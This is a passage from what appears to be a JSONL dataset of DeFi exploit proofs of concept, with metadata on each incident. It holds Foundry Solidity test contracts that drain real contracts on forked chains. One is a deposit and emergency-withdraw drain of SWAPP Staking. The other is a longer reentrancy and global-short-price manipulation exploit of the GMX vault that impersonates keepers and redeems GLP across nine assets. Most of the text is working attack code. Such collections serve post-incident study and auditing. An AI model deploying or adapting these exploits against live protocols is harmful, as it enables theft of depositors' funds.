address newComptroller);\n event NewMarketInterestRateModel(address oldInterestRateModel, address newInterestRateModel);\n event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);\n event NewReserveFactor(uint256 oldReserveFactorMantissa, uint256 newReserveFactorMantissa);\n event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);\n event RepayBorrow(\n address payer, address borrower, uint256 repayAmount, uint256 accountBorrows, uint256 totalBorrows\n );\n event ReservesReduced(address admin, uint256 reduceAmount, uint256 newTotalReserves);\n event Transfer(address indexed from, address indexed to, uint256 amount);\n\n function _acceptAdmin() external returns (uint256);\n function _reduceReserves(uint256 reduceAmount) external returns (uint256);\n function _setComptroller(address newComptroller) external returns (uint256);\n function _setInterestRateModel(address newInterestRateModel) external returns (uint256);\n function _setPendingAdmin(address newPendingAdmin) external returns (uint256);\n function _setReserveFactor(uint256 newReserveFactorMantissa) external returns (uint256);\n function accrualBlockNumber() external view returns (uint256);\n function accrueInterest() external returns (uint256);\n function admin() external view returns (address);\n function allowance(address owner, address spender) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(address owner) external view returns (uint256);\n function balanceOfUnderlying(address owner) external returns (uint256);\n function borrow(uint256 borrowAmount) external returns (uint256);\n function borrowBalanceCurrent(address account) external returns (uint256);\n function borrowBalanceStored(address account) external view returns (uint256);\n function borrowIndex() external view returns (uint256);\n function borrowRatePerBlock() external view returns (uint256);\n function comptroller() external view returns (address);\n function decimals() external view returns (uint256);\n function exchangeRateCurrent() external returns (uint256);\n function exchangeRateStored() external view returns (uint256);\n function getAccountSnapshot(address account) external view returns (uint256, uint256, uint256, uint256);\n function getCash() external view returns (uint256);\n function initialExchangeRateMantissa() external view returns (uint256);\n function interestRateModel() external view returns (address);\n function isCToken() external view returns (bool);\n function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral)\n external\n returns (uint256);\n function mint(uint256 mintAmount) external returns (uint256);\n function name() external view returns (string memory);\n function pendingAdmin() external view returns (address);\n function redeem(uint256 redeemTokens) external returns (uint256);\n function redeemUnderlying(uint256 redeemAmount) external returns (uint256);\n function repayBorrow(uint256 repayAmount) external returns (uint256);\n function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);\n function reserveFactorMantissa() external view returns (uint256);\n function seize(address liquidator, address borrower, uint256 seizeTokens) external returns (uint256);\n function supplyRatePerBlock() external view returns (uint256);\n function symbol() external view returns (string memory);\n function totalBorrows() external view returns (uint256);\n function totalBorrowsCurrent() external returns (uint256);\n function totalReserves() external view returns (uint256);\n function totalSupply() external view returns (uint256);\n function transfer(address dst, uint256 amount) external returns (bool);\n function transferFrom(address src, address dst, uint256 amount) external returns (bool);\n function underlying() external view returns (address);\n}\n\n/// Onchain interface exported with `Anvil`\ninterface Staking {\n event CheckInterest(uint256 cBalance, uint256 uBalance, uint256 interest);\n event Deposit(address indexed user, address indexed tokenAddress, uint256 amount);\n event EmergencyWithdraw(address indexed user, address indexed tokenAddress, uint256 amount);\n event GetInterest(address indexed token, uint256 amount);\n event ManualEpochInit(address indexed caller, uint128 indexed epochId, address[] tokens);\n event RegisteredReferer(address referral, address referrer);\n event Withdraw(address indexed user, address indexed tokenAddress, uint256 amount);\n\n function _owner() external view returns (address);\n function balanceOf(address user, address token) external view returns (uint256);\n function cDai() external view returns (address);\n function cUsdc() external view returns (address);\n function cUsdt() external view returns (address);\n function checkInterestFromCompound(address tokenAddress) external returns (uint256 interest);\n function checkStableCoin(address token) external pure returns (bool);\n function computeNewMultiplier(\n uint256 prevBalance,\n uint128 prevMultiplier,\n uint256 amount,\n uint128 currentMultiplier\n ) external pure returns (uint128);\n function currentEpochMultiplier() external view returns (uint128);\n function dai() external view returns (address);\n function deposit(address tokenAddress, uint256 amount, address referrer) external;\n function emergencyWithdraw(address tokenAddress) external;\n function epoch1Start() external view returns (uint256);\n function epochDuration() external view returns (uint256);\n function epochIsInitialized(address token, uint128 epochId) external view returns (bool);\n function firstReferrerRewardPercentage() external view returns (uint256);\n function getCurrentEpoch() external view returns (uint128);\n function getEpochPoolSize(address tokenAddress, uint128 epochId) external view returns (uint256);\n function getEpochUserBalance(address user, address token, uint128 epochId) external view returns (uint256);\n function getInterest(address tokenAddress) external;\n function getInterestFromCompound(address tokenAddress) external;\n function getReferralById(address referrer, uint256 id) external view returns (address);\n function hasReferrer(address addr) external view returns (bool);\n function manualEpochInit(address[] memory tokens, uint128 epochId) external;\n function referrals(address) external view returns (address);\n function referrers(address) external view returns (uint256 referralsCount);\n function secondReferrerRewardPercentage() external view returns (uint256);\n function stableCoinBalances(address) external view returns (uint256);\n function updateReferrersPercentage(uint256 first, uint256 second) external;\n function usdc() external view returns (address);\n function usdt() external view returns (address);\n function wbtcSwappLP() external view returns (address);\n function withdraw(address tokenAddress, uint256 amount) external;\n}\n\n\ncontract SWAPPStakingExp is Test {\n // Contract Addresses\n Staking constant staking = Staking(0x245a551ee0F55005e510B239c917fA34b41B3461);\n // Token Addresses\n CErc20 constant cUsdc = CErc20(0x39AA39c021dfbaE8faC545936693aC917d5E7563);\n\n uint256 MAX_UINT = 2**256 - 1;\n\n // Exploit Parameters\n uint256 private constant forkBlockNumber = 22_957_532; \n receive() external payable {}\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", forkBlockNumber);\n }\n\n function init_epochs() internal {\n address[] memory tokens = new address[](1);\n tokens[0] = address(cUsdc);\n uint128 currentEpoch = staking.getCurrentEpoch();\n for (uint128 i = 0; i < currentEpoch; i++) {\n staking.manualEpochInit(tokens, i);\n }\n }\n\n function exploit() public {\n init_epochs(); // Init epochs to complete `deposit`\n assert(staking.epochIsInitialized(address(cUsdc), 0));\n cUsdc.approve(address(staking), MAX_UINT);\n console.log(\n \"current balance of attacker:\",\n cUsdc.balanceOf(address(this))\n );\n uint256 staking_cusdc_balance = cUsdc.balanceOf(address(staking));\n console.log(\"current balance of staking:\", staking_cusdc_balance);\n staking.deposit(address(cUsdc), staking_cusdc_balance, address(0x0));\n staking.emergencyWithdraw(address(cUsdc));\n console.log(\n \"balance of attacker after exploiting :\",\n cUsdc.balanceOf(address(this))\n );\n console.log(\n \"balance of staking after exploiting:\",\n cUsdc.balanceOf(address(staking))\n );\n cUsdc.transfer(address(this), staking_cusdc_balance);\n assert(cUsdc.balanceOf(address(this)) > 0);\n }\n\n function testExploit() public {\n exploit();\n }\n}", "type": "exploit_poc", "protocol": "SWAPPStaking", "date": "2025-07", "file_name": "SWAPPStaking_exp.sol", "attack_vector": null, "content_hash": "ee83ddee943b50ad", "collected_at": "2026-01-07T10:59:16.541970", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "32,196.28 USD", "total_lost_usd": 32.0, "attacker_address": "https://etherscan.io/address/0x657a2b6fe37ced2f31fd7513095dbfb126a53601", "attack_contract": "https://etherscan.io/address/0x7f1f536223d6a84ad4897a675f04886ce1c3b7a1", "vulnerable_contract": "https://etherscan.io/address/0x245a551ee0f55005e510b239c917fa34b41b3461", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xa02b159fb438c8f0fb2a8d90bc70d8b2273d06b55920b26f637cab072b7a0e3e", "postmortem_url": null, "twitter_url": "https://x.com/deeberiroz/status/1947213692220710950", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "32,196.28 USD", "category": "unknown", "exploit_code": "function testExploit() public {\n exploit();\n }", "has_exploit_code": true, "keyinfo_total_lost": "32,196.28 USD", "keyinfo_attacker": "https://etherscan.io/address/0x657a2b6fe37ced2f31fd7513095dbfb126a53601", "keyinfo_attack_contract": "https://etherscan.io/address/0x7f1f536223d6a84ad4897a675f04886ce1c3b7a1", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x245a551ee0f55005e510b239c917fa34b41b3461", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xa02b159fb438c8f0fb2a8d90bc70d8b2273d06b55920b26f637cab072b7a0e3e", "analysis_postmortem": "", "analysis_twitter": "https://x.com/deeberiroz/status/1947213692220710950", "funds_lost_formatted": "$32", "content_richness_score": 9, "quality_estimate": "high", "title": "SWAPPStaking Exploit (2025-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.22;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\ninterface IRewardRouterV2 {\n function mintAndStakeGlp(address _token, uint256 _amount, uint256 _minUsdg, uint256 _minGlp) external returns (uint256);\n function unstakeAndRedeemGlp(address _tokenOut, uint256 _glpAmount, uint256 _minOut, address _receiver) external returns (uint256);\n}\n\ninterface IGMXPositionRouter {\n function createDecreasePosition(\n address[] memory _path,\n address _indexToken,\n uint256 _collateralDelta,\n uint256 _sizeDelta,\n bool _isLong,\n address _receiver,\n uint256 _acceptablePrice,\n uint256 _minOut,\n uint256 _executionFee,\n bool _withdrawETH,\n address _callbackTarget\n ) external payable returns (bytes32);\n function minExecutionFee() external view returns (uint256);\n function executeDecreasePositions(uint256 _endIndex, address payable _executionFeeReceiver) external;\n function getRequestQueueLengths() external view returns (uint256, uint256, uint256, uint256);\n}\ninterface IGMXOrderBook {\n function createIncreaseOrder(\n address[] memory _path,\n uint256 _amountIn,\n address _indexToken,\n uint256 _minOut,\n uint256 _sizeDelta,\n address _collateralToken,\n bool _isLong,\n uint256 _triggerPrice,\n bool _triggerAboveThreshold,\n uint256 _executionFee,\n bool _shouldWrap\n ) external payable;\n\n function minExecutionFee() external view returns (uint256);\n function minPurchaseTokenAmountUsd() external view returns (uint256);\n function swapOrdersIndex(address _account) external view returns (uint256);\n function increaseOrdersIndex(address _account) external view returns (uint256);\n function decreaseOrdersIndex(address _account) external view returns (uint256);\n function createDecreaseOrder(\n address _indexToken,\n uint256 _sizeDelta,\n address _collateralToken,\n uint256 _collateralDelta,\n bool _isLong,\n uint256 _triggerPrice,\n bool _triggerAboveThreshold\n ) external payable;\n}\ninterface IGMXRouter {\n function approvePlugin(address _plugin) external;\n}\n\ninterface IGMXPositionManager {\n function executeIncreaseOrder(address _account, uint256 _orderIndex, address payable _feeReceiver) external;\n function executeDecreaseOrder(address _account, uint256 _orderIndex, address payable _feeReceiver) external;\n\n}\n\ninterface IGMXVault {\n function tokenToUsdMin(address _token, uint256 _amount) external view returns (uint256);\n function getPosition(address _account, address _collateralToken, address _indexToken, bool _isLong) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, bool, uint256);\n function globalShortAveragePrices(address _indexToken) external view returns (uint256);\n function increasePosition(\n address _account,\n address _collateralToken,\n address _indexToken,\n uint256 _sizeDelta,\n bool _isLong\n ) external;\n function decreasePosition(\n address _account,\n address _collateralToken,\n address _indexToken,\n uint256 _collateralDelta,\n uint256 _sizeDelta,\n bool _isLong,\n address _receiver\n ) external returns (uint256);\n function poolAmounts(address _token) external view returns (uint256);\n function reservedAmounts(address _token) external view returns (uint256);\n function getMaxPrice(address _token) external view returns (uint256);\n function getMinPrice(address _token) external view returns (uint256);\n}\n\ninterface IGMXShortsTracker {\n function updateGlobalShortData(address _account, address _collateralToken, address _indexToken, bool _isLong, uint256 _sizeDelta, uint256 _markPrice, bool _isIncrease) external;\n}\n\ninterface IGMXGlpManager {\n function getGlobalShortDelta(address _token) external view returns (bool, uint256);\n function getGlobalShortAveragePrice(address _token) external view returns (uint256);\n function getAumInUsdg(bool _maximise) external view returns (uint256);\n}\n\ninterface IGMXFastPriceFeed{\n function setPricesWithBitsAndExecute(\n uint256 _priceBits,\n uint256 _timestamp,\n uint256 _endIndexForIncreasePositions,\n uint256 _endIndexForDecreasePositions,\n uint256 _maxIncreasePositions,\n uint256 _maxDecreasePositions\n ) external;\n}\n\ninterface IRewardTracker {\n function stakedAmounts(address _account) external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n\n IGMXOrderBook orderBook_ = IGMXOrderBook(0x09f77E8A13De9a35a7231028187e9fD5DB8a2ACB);\n IGMXVault vault_ = IGMXVault(0x489ee077994B6658eAfA855C308275EAd8097C4A);\n IGMXRouter router_ = IGMXRouter(0xaBBc5F99639c9B6bCb58544ddf04EFA6802F4064);\n IGMXPositionManager positionManager_ = IGMXPositionManager(0x75E42e6f01baf1D6022bEa862A28774a9f8a4A0C);\n IGMXShortsTracker short_tracker_ = IGMXShortsTracker(0xf58eEc83Ba28ddd79390B9e90C4d3EbfF1d434da);\n IGMXGlpManager glp_manager_ = IGMXGlpManager(0x3963FfC9dff443c2A94f21b129D429891E32ec18);\n IGMXPositionRouter positionRouter_ = IGMXPositionRouter(0xb87a436B93fFE9D75c5cFA7bAcFff96430b09868);\n IGMXFastPriceFeed fastPriceFeed_ = IGMXFastPriceFeed(0x11D62807dAE812a0F1571243460Bf94325F43BB7);\n IRewardRouterV2 rewardRouterV2_ = IRewardRouterV2(0xB95DB5B167D75e6d04227CfFFA61069348d271F5);\n IRewardTracker rewardTracker_ = IRewardTracker(0x1aDDD80E6039594eE970E5872D247bf0414C8903);\n\n IERC20 gmx_lp_token_ = IERC20(0x4277f8F2c384827B5273592FF7CeBd9f2C1ac258);\n IERC20 weth_ = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 btc_ = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);\n IERC20 usdc_ = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);\n IERC20 usde_ = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IERC20 link_ = IERC20(0xf97f4df75117a78c1A5a0DBb814Af92458539FB4);\n IERC20 uni_ = IERC20(0xFa7F8980b0f1E64A2062791cc3b0871572f1F7f0);\n IERC20 usdt_ = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);\n IERC20 frax_ = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);\n IERC20 dai_ = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);\n\n address routerPositionKeeper_ = 0x2BcD0d9Dde4bD69C516Af4eBd3fB7173e1FA12d0;\n address orderBookKeeper_ = 0xd4266F8F82F7405429EE18559e548979D49160F3;\n\n bool isProfit = false;\n \n // \u533a\u5757355878385\u65f6\uff0ceth\u4ef7\u683c\u662f2652.39\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 355878385 - 1);\n deal(address(usdc_), address(this), 3001000000);\n vm.deal(address(this), 2 ether);\n router_.approvePlugin(address(orderBook_));\n router_.approvePlugin(address(positionRouter_));\n usdc_.approve(address(rewardRouterV2_), type(uint256).max);\n usdc_.approve(address(glp_manager_), type(uint256).max);\n frax_.approve(address(rewardRouterV2_), type(uint256).max);\n frax_.approve(address(glp_manager_), type(uint256).max);\n\n\n }\n\n function testExploit() public {\n console2.log(\"-------- attack before --------\");\n console2.log(\"eth balance of vault = \", weth_.balanceOf(address(vault_)) / 10 ** weth_.decimals());\n console2.log(\"btc balance of vault = \", btc_.balanceOf(address(vault_)) / 10 ** btc_.decimals());\n console2.log(\"usdc balance of vault = \", usdc_.balanceOf(address(vault_)) / 10 ** usdc_.decimals());\n console2.log(\"usde balance of vault = \", usde_.balanceOf(address(vault_)) / 10 ** usde_.decimals());\n console2.log(\"link balance of vault = \", link_.balanceOf(address(vault_)) / 10 ** link_.decimals());\n console2.log(\"uni balance of vault = \", uni_.balanceOf(address(vault_)) / 10 ** uni_.decimals());\n console2.log(\"usdt balance of vault = \", usdt_.balanceOf(address(vault_)) / 10 ** usdt_.decimals());\n console2.log(\"frax balance of vault = \", frax_.balanceOf(address(vault_)) / 10 ** frax_.decimals());\n console2.log(\"dai balance of vault = \", dai_.balanceOf(address(vault_)) / 10 ** dai_.decimals());\n\n for (uint256 i = 0; i < 2; i++) {\n createOpenETHPosition();\n keeperExecuteOpenETHPosition();\n }\n\n console2.log(\"glp_manager_.getGlobalShortAveragePrice(address(btc_)) = \", glp_manager_.getGlobalShortAveragePrice(address(btc_)));\n\n createCloseETHPosition();\n for(uint i = 0; i< 5; i++) {\n keeperExecuteCloseETHPosition();\n keeperExecuteCloseBTCPosition();\n }\n console2.log(\"glp_manager_.getGlobalShortAveragePrice(address(btc_)) = \", glp_manager_.getGlobalShortAveragePrice(address(btc_)));\n isProfit = true;\n keeperExecuteCloseETHPosition();\n console2.log(\"-------- attack after --------\");\n console2.log(\"eth balance of vault = \", weth_.balanceOf(address(vault_)) / 10 ** weth_.decimals());\n console2.log(\"btc balance of vault = \", btc_.balanceOf(address(vault_)) / 10 ** btc_.decimals());\n console2.log(\"usdc balance of vault = \", usdc_.balanceOf(address(vault_)) / 10 ** usdc_.decimals());\n console2.log(\"usde balance of vault = \", usde_.balanceOf(address(vault_)) / 10 ** usde_.decimals());\n console2.log(\"link balance of vault = \", link_.balanceOf(address(vault_)) / 10 ** link_.decimals());\n console2.log(\"uni balance of vault = \", uni_.balanceOf(address(vault_)) / 10 ** uni_.decimals());\n console2.log(\"usdt balance of vault = \", usdt_.balanceOf(address(vault_)) / 10 ** usdt_.decimals());\n console2.log(\"frax balance of vault = \", frax_.balanceOf(address(vault_)) / 10 ** frax_.decimals());\n console2.log(\"dai balance of vault = \", dai_.balanceOf(address(vault_)) / 10 ** dai_.decimals());\n }\n\n // https://arbiscan.io/tx/0x0b8cd648fb585bc3d421fc02150013eab79e211ef8d1c68100f2820ce90a4712\n function createOpenETHPosition() public {\n // Leveraged long position opened\n // Used 0.1 ETH to open a 2.003x leveraged position\n // 2.003 = 531 / (0.1 * 2652.39)\n address[] memory path = new address[](1);\n path[0] = address(weth_);\n orderBook_.createIncreaseOrder{value: 0.1003 ether}(\n path, \n 100000000000000000, // amountIn\n address(weth_), // indexToken\n 0, // minOut\n 531064000000000000000000000000000, // sizeDelta\uff0c2.003\u500d\u7684\u6760\u6746\n address(weth_), // collateralToken\n true, // isLong\n 1500000000000000000000000000000000, // triggerPrice\n true, // triggerAboveThreshold\n orderBook_.minExecutionFee() * 3, // executionFee\n true // shouldWrap\n );\n }\n\n // https://arbiscan.io/tx/0x28a000501ef8e3364b0e7f573256b04b87d9a8e8173410c869004b987bf0beef\n function keeperExecuteOpenETHPosition() public {\n vm.startPrank(orderBookKeeper_);\n positionManager_.executeIncreaseOrder(address(this), orderBook_.increaseOrdersIndex(address(this)) - 1, payable(orderBookKeeper_));\n vm.stopPrank();\n }\n\n // https://app.blocksec.com/explorer/tx/arbitrum/0x20abfeff0206030986b05422080dc9e81dbb53a662fbc82461a47418decc49af \n function createCloseETHPosition() public {\n (uint256 size, uint256 collateral, uint256 entryPrice, uint256 reserveAmount, uint256 realisedPnl, uint256 entryFundingRate, bool isLong, uint256 lastIncreasedTime) = vault_.getPosition(address(this), address(weth_), address(weth_), true);\n orderBook_.createDecreaseOrder{value: orderBook_.minExecutionFee() * 3}(\n address(weth_),\n size / 2,\n address(weth_),\n collateral/2,\n true,\n 1500000000000000000000000000000000,\n true);\n }\n\n // https://app.blocksec.com/explorer/tx/arbitrum/0x1f00da742318ad1807b6ea8283bfe22b4a8ab0bc98fe428fbfe443746a4a7353?line=162\n function keeperExecuteCloseETHPosition() public {\n vm.startPrank(orderBookKeeper_);\n positionManager_.executeDecreaseOrder(address(this), orderBook_.decreaseOrdersIndex(address(this)) - 1, payable(orderBookKeeper_));\n }\n\n\n // https://app.blocksec.com/explorer/tx/arbitrum/0x222cdae82a8d28e53a2bddfb34ae5d1d823c94c53f8a7abc179d47a2c994464e?line=134\n function keeperExecuteCloseBTCPosition() public {\n (uint256 increasePositionRequestKeysStart, uint256 increasePositionRequestKeysLength, uint256 decreasePositionRequestKeysStart, uint256 decreasePositionRequestKeysLength) = positionRouter_.getRequestQueueLengths();\n vm.startPrank(routerPositionKeeper_);\n fastPriceFeed_.setPricesWithBitsAndExecute(\n 650780127152856667663437440412910, \n block.timestamp,\n increasePositionRequestKeysStart + increasePositionRequestKeysLength,\n decreasePositionRequestKeysStart + decreasePositionRequestKeysLength,\n increasePositionRequestKeysLength,\n decreasePositionRequestKeysLength\n );\n\n vm.stopPrank();\n }\n\n // Key point: globalShortAveragePrice has already been changed\n // This is GMX\u2019s callback function, gmxPositionCallback, which is called when a market order is closed.\n function gmxPositionCallback(bytes32 positionKey, bool isExecuted, bool isIncrease) external {\n createCloseETHPosition();\n }\n\n // It is called when closing an ETH position.\n // This is also a critical reentrancy point.\n fallback() external payable {\n if(isProfit) {\n profitAttack();\n }else{\n console2.log(\"glp_manager_.getGlobalShortAveragePrice(address(btc_)) = \", glp_manager_.getGlobalShortAveragePrice(address(btc_)));\n usdc_.transfer(address(vault_), usdc_.balanceOf(address(this)));\n vault_.increasePosition(address(this), address(usdc_), address(btc_), 90030000000000000000000000000000000, false);\n address[] memory path = new address[](1);\n path[0] = address(usdc_);\n positionRouter_.createDecreasePosition{value: 3000000000000000}(\n path,\n address(btc_),\n 0,\n 90030000000000000000000000000000000,\n false,\n address(this),\n 120000000000000000000000000000000000,\n 0,\n 3000000000000000,\n false,\n address(this)\n );\n }\n }\n\n // https://app.blocksec.com/explorer/tx/arbitrum/0x03182d3f0956a91c4e4c8f225bbc7975f9434fab042228c7acdc5ec9a32626ef\n function profitAttack() public{\n console2.log(\"******* start profitAttack *******\");\n // flashloan usdc 7538567_619570\n deal(address(usdc_), address(this), 7_538_567_619570); \n uint256 glpAmount = rewardRouterV2_.mintAndStakeGlp(address(usdc_), 6000000000000, 0, 0);\n usdc_.transfer(address(vault_), usdc_.balanceOf(address(this)));\n\n vault_.increasePosition(address(this), address(usdc_), address(btc_), 15385676195700000000000000000000000000, false);\n getProfitForETH();\n getProfitForBTC();\n getProfitForUSDC();\n getProfitForUSDE();\n getProfitForLINK();\n getProfitForUNI();\n getProfitForUSDT();\n getProfitForFRAX();\n getProfitForDAI();\n vault_.decreasePosition(address(this), address(usdc_), address(btc_), 0, 15385676195700000000000000000000000000, false, address(this));\n\n for(uint i = 0; i < 10; i++) { \n \n rewardRouterV2_.mintAndStakeGlp(address(frax_), 9000000000000000000000000, 0, 0);\n usdc_.transfer(address(vault_), 500000000000);\n vault_.increasePosition(address(this), address(usdc_), address(btc_), 12500000000000000000000000000000000000, false);\n getProfitForFRAX();\n vault_.decreasePosition(address(this), address(usdc_), address(btc_), 0, 12500000000000000000000000000000000000, false, address(this));\n console2.log(\"glpAmount = \", IERC20(address(rewardTracker_)).balanceOf(address(this)));\n }\n getProfitForUSDC();\n usdc_.transfer(address(0x1), 7_538_567_619570); // repay flashloan\n console2.log(\"profit weth_ of Attacker \", weth_.balanceOf(address(this)) / 10 ** weth_.decimals());\n console2.log(\"profit btc_ of Attacker \", btc_.balanceOf(address(this)) / 10 ** btc_.decimals());\n console2.log(\"profit usdc_ of Attacker \", usdc_.balanceOf(address(this)) / 10 ** usdc_.decimals());\n console2.log(\"profit usde_ of Attacker \", usde_.balanceOf(address(this)) / 10 ** usde_.decimals());\n console2.log(\"profit link_ of Attacker \", link_.balanceOf(address(this)) / 10 ** link_.decimals());\n console2.log(\"profit uni_ of Attacker \", uni_.balanceOf(address(this)) / 10 ** uni_.decimals());\n console2.log(\"profit usdt_ of Attacker \", usdt_.balanceOf(address(this)) / 10 ** usdt_.decimals());\n console2.log(\"profit frax_ of Attacker \", frax_.balanceOf(address(this)) / 10 ** frax_.decimals());\n console2.log(\"profit dai_ of Attacker \", dai_.balanceOf(address(this)) / 10 ** dai_.decimals());\n console2.log(\"******* end profitAttack *******\");\n }\n\n function getProfitForETH() public {\n uint256 profit_delta = vault_.poolAmounts(address(weth_)) - vault_.reservedAmounts(address(weth_));\n uint256 price = vault_.getMaxPrice(address(weth_)); // 1e30\n uint256 usdgAmount = profit_delta * price / (10 ** weth_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18\n uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18\n uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18\n uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18\n rewardRouterV2_.unstakeAndRedeemGlp(address(weth_), glpAmount, 0, address(this));\n }\n function getProfitForBTC() public {\n uint256 profit_delta = vault_.poolAmounts(address(btc_)) - vault_.reservedAmounts(address(btc_));\n uint256 price = vault_.getMaxPrice(address(btc_)); // 1e30\n uint256 usdgAmount = profit_delta * price / (10 ** btc_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18\n uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18\n uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18\n uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18\n rewardRouterV2_.unstakeAndRedeemGlp(address(btc_), glpAmount, 0, address(this));\n }\n function getProfitForUSDC() public {\n uint256 profit_delta = vault_.poolAmounts(address(usdc_)) - vault_.reservedAmounts(address(usdc_));\n uint256 price = vault_.getMaxPrice(address(usdc_)); // 1e30\n uint256 usdgAmount = profit_delta * price / (10 ** usdc_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18\n uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18\n uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18\n uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18\n rewardRouterV2_.unstakeAndRedeemGlp(address(usdc_), glpAmount, 0, address(this));\n }\n function getProfitForUSDE() public {\n uint256 profit_delta = vault_.poolAmounts(address(usde_)) - vault_.reservedAmounts(address(usde_));\n uint256 price = vault_.getMaxPrice(address(usde_)); // 1e30\n uint256 usdgAmount = profit_delta * price / (10 ** usde_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18\n uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18\n uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18\n uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18\n rewardRouterV2_.unstakeAndRedeemGlp(address(usde_), glpAmount, 0, address(this));\n }\n function getProfitForLINK() public {\n uint256 profit_delta = vault_.poolAmounts(address(link_)) - vault_.reservedAmounts(address(link_));\n uint256 price = vault_.getMaxPrice(address(link_)); // 1e30\n uint256 usdgAmount = profit_delta * price / (10 ** link_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18\n uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18\n uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18\n uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18\n rewardRouterV2_.unstakeAndRedeemGlp(address(link_), glpAmount, 0, address(this));\n }\n function getProfitForUNI() public {\n uint256 profit_delta = vault_.poolAmounts(address(uni_)) - vault_.reservedAmounts(address(uni_));\n uint256 price = vault_.getMaxPrice(address(uni_)); // 1e30\n uint256 usdgAmount = profit_delta * price / (10 ** uni_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18\n uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18\n uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18\n uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18\n rewardRouterV2_.unstakeAndRedeemGlp(address(uni_), glpAmount, 0, address(this));\n }\n function getProfitForUSDT() public {\n uint256 profit_delta = vault_.poolAmounts(address(usdt_)) - vault_.reservedAmounts(address(usdt_));\n uint256 price = vault_.getMaxPrice(address(usdt_)); // 1e30\n uint256 usdgAmount = profit_delta * price / (10 ** usdt_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18\n uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18\n uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18\n uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18\n rewardRouterV2_.unstakeAndRedeemGlp(address(usdt_), glpAmount, 0, address(this));\n }\n function getProfitForFRAX() public {\n uint256 profit_delta = vault_.poolAmounts(address(frax_)) - vault_.reservedAmounts(address(frax_));\n uint256 price = vault_.getMaxPrice(address(frax_)); // 1e30\n uint256 usdgAmount = profit_delta * price / (10 ** frax_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18\n uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18\n uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18\n uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18\n rewardRouterV2_.unstakeAndRedeemGlp(address(frax_), glpAmount, 0, address(this));\n }\n function getProfitForDAI() public {\n uint256 profit_delta = vault_.poolAmounts(address(dai_)) - vault_.reservedAmounts(address(dai_));\n uint256 price = vault_.getMaxPrice(address(dai_)); // 1e30\n uint256 usdgAmount = profit_delta * price / (10 ** dai_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18\n uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18\n uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18\n uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18\n rewardRouterV2_.unstakeAndRedeemGlp(address(dai_), glpAmount, 0, address(this));\n }\n}\n", "type": "exploit_poc", "protocol": "gmx", "date": "2025-07", "file_name": "gmx_exp.sol", "attack_vector": "flash_loan", "content_hash": "e5e92db0258766a0", "collected_at": "2026-01-07T10:59:16.542146", "_source": "postmortems", "chain": "arbitrum", "block_number": 355878385, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", 